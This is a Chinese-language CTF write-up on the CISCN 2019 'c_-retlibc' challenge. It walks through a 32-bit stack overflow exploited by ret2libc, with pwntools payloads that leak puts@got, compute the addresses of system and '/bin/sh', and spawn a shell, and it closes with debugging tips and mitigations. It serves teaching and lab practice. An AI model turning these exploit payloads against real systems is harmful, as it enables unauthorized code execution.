1. 项目概述:从CISCN赛事看PWN技术进阶
在CTF竞赛领域,PWN方向始终是最能体现选手二进制漏洞利用能力的赛道。2019年全国大学生信息安全竞赛(CISCN)华东南赛区的"c_-retlibc"题目,堪称经典的栈溢出与ret2libc技术教学案例。这道题不仅考察基础栈溢出利用,更要求选手在无libc版本提示的情况下,通过泄露GOT表地址动态计算system函数位置。
作为参加过十余场线下赛的老PWN手,我至今记得第一次成功利用ret2libc技术时的兴奋感。这种技术突破了NX保护的限制,通过程序自身的libc函数实现攻击链构造,是PWN选手必须掌握的"内功心法"。
2. 漏洞原理深度解析
2.1 栈溢出漏洞的形成机制
在32位ELF程序中,函数调用时会依次将参数、返回地址和局部变量压栈。当使用不安全的函数(如gets、scanf等)时,若未对输入长度做限制,就会覆盖返回地址控制程序流。以本题为例,反编译可见:
void vulnerable_function() { char buf[128]; read(0, buf, 256); // 明显超出buf容量 }这种典型的栈溢出漏洞,在开启NX保护后无法直接执行shellcode,但可以通过覆盖返回地址跳转到已有函数。
2.2 ret2libc技术核心思想
ret2libc技术的精妙之处在于:
- 利用程序已加载的libc中的函数(如system)
- 通过ROP链构造参数传递
- 在无法执行栈代码的情况下实现命令执行
关键技术点包括:
- 泄露libc函数地址(如puts、write)
- 计算libc基址和system函数偏移
- 布置栈帧传递"/bin/sh"参数
3. 实战利用步骤详解
3.1 信息收集阶段
使用checksec检查程序保护情况:
checksec ./c_-retlibc [*] '/tmp/c_-retlibc' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息:
- 32位程序
- 开启NX(不可执行栈)
- 未开启PIE(代码段固定地址)
3.2 漏洞利用开发
3.2.1 泄露libc地址
构造payload1:
payload1 = flat( b'A'*140, # padding elf.plt['puts'], # 调用puts函数 elf.sym['main'], # 返回地址 elf.got['puts'] # puts参数 )这段payload会:
- 覆盖返回地址为puts@plt
- 设置返回地址为main(实现循环利用)
- 将puts@got作为参数打印
接收输出后,通过u32函数解析puts实际地址:
puts_addr = u32(io.recv(4))3.2.2 计算system地址
假设已知libc版本为libc6-i386_2.27-3ubuntu1:
libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc.address = puts_addr - libc.sym['puts'] system_addr = libc.sym['system'] binsh_addr = next(libc.search(b'/bin/sh'))若不确定libc版本,可使用LibcSearcher:
from LibcSearcher import * libc = LibcSearcher('puts', puts_addr) system_addr = puts_addr - libc.dump('puts') + libc.dump('system')3.3.3 最终攻击链
构造payload2:
payload2 = flat( b'A'*140, system_addr, 0xdeadbeef, # 伪造返回地址 binsh_addr )4. 高级技巧与优化
4.1 无libc情况下的利用
当无法确定libc版本时,可以采用:
- 多次泄露不同函数地址提高匹配精度
- 使用DynELF模块动态解析(需存在可循环利用的漏洞)
- 通过函数偏移特征识别libc版本
4.2 栈对齐问题处理
在64位系统中需特别注意栈对齐问题:
# 64位系统添加ret指令保证对齐 rop = ROP(elf) rop.raw(rop.ret.address) rop.system(binsh_addr)4.3 对抗ASLR的策略
- 通过信息泄露获取代码段地址
- 利用partial write绕过地址随机化
- 使用堆喷射技术提高命中率
5. 调试技巧与排错指南
5.1 GDB实用命令
gdb-peda$ b *vulnerable_function+23 # 在函数返回前断点 gdb-peda$ pattern create 200 # 生成定位字符串 gdb-peda$ x/20wx $esp # 检查栈布局5.2 常见错误处理
SIGSEGV错误:
- 检查payload长度是否准确
- 验证函数地址是否正确
- 确认参数传递方式(32/64位差异)
无输出或输出异常:
- 检查是否正确处理了标准输出
- 确认是否刷新了缓冲区(可先发送setvbuf payload)
libc匹配失败:
- 尝试泄露多个函数地址
- 检查网络是否可访问libc数据库
6. 防御措施与升级路径
6.1 现代防护技术
- FULL RELRO:防止GOT表篡改
- Stack Canary:检测栈溢出
- PIE:使代码段地址随机化
- FORTIFY_SOURCE:加强字符串操作检查
6.2 后续学习建议
高级ROP技术:
- SROP(Sigreturn Oriented Programming)
- BROP(Blind ROP)
堆利用系列:
- Use After Free
- Fastbin Attack
- Tcache Poisoning
内核利用:
- 提权漏洞利用
- 驱动漏洞分析
这道ciscn2019的题目就像PWN领域的"Hello World",虽然现在看起来简单,但其中蕴含的ret2libc思想却是通向高级利用技术的基石。我建议新手可以尝试用不同方法解决此题:比如使用DynELF替代LibcSearcher,或者尝试在64位环境下复现。每次重新审视这类基础题目,都会有新的收获。